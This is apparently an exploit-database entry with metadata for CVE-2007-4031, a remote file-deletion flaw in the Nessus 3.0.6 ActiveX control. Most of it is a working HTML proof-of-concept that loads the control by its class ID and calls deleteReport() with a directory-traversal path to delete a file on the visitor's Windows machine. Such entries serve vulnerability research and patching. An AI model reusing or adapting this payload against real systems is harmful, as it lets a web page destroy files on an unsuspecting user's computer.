EXPLOITS

Nessus Vulnerability Scanner 3.0.6 - ActiveX Remote Delete File

Author: h07
type: remote
platform: windows
port: 
date_added: 2007-07-25  
date_updated:   
verified: 1  
codes: OSVDB-37704;CVE-2007-4031  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 4230.html  

<HTML>
<!--
Nessus Vulnerability Scanner 3.0.6 ActiveX deleteReport() 0day Remote Delete File Exploit
Bug discovered by Krystian Kloskowski (h07) <h07@interia.pl>
Tested on Nessus 3.0.6 / IE 6 / XP SP2 Polish
Just for fun ;]
-->

<object id="obj" classid="clsid:A47D5315-321D-4DEE-9DB3-18438023193B"></object>

<script language="javascript">
obj.deleteReport("../../../../../../../test.txt"); //Deleting file: C:\test.txt
alert("done");
</script>
</HTML>

# milw0rm.com [2007-07-26]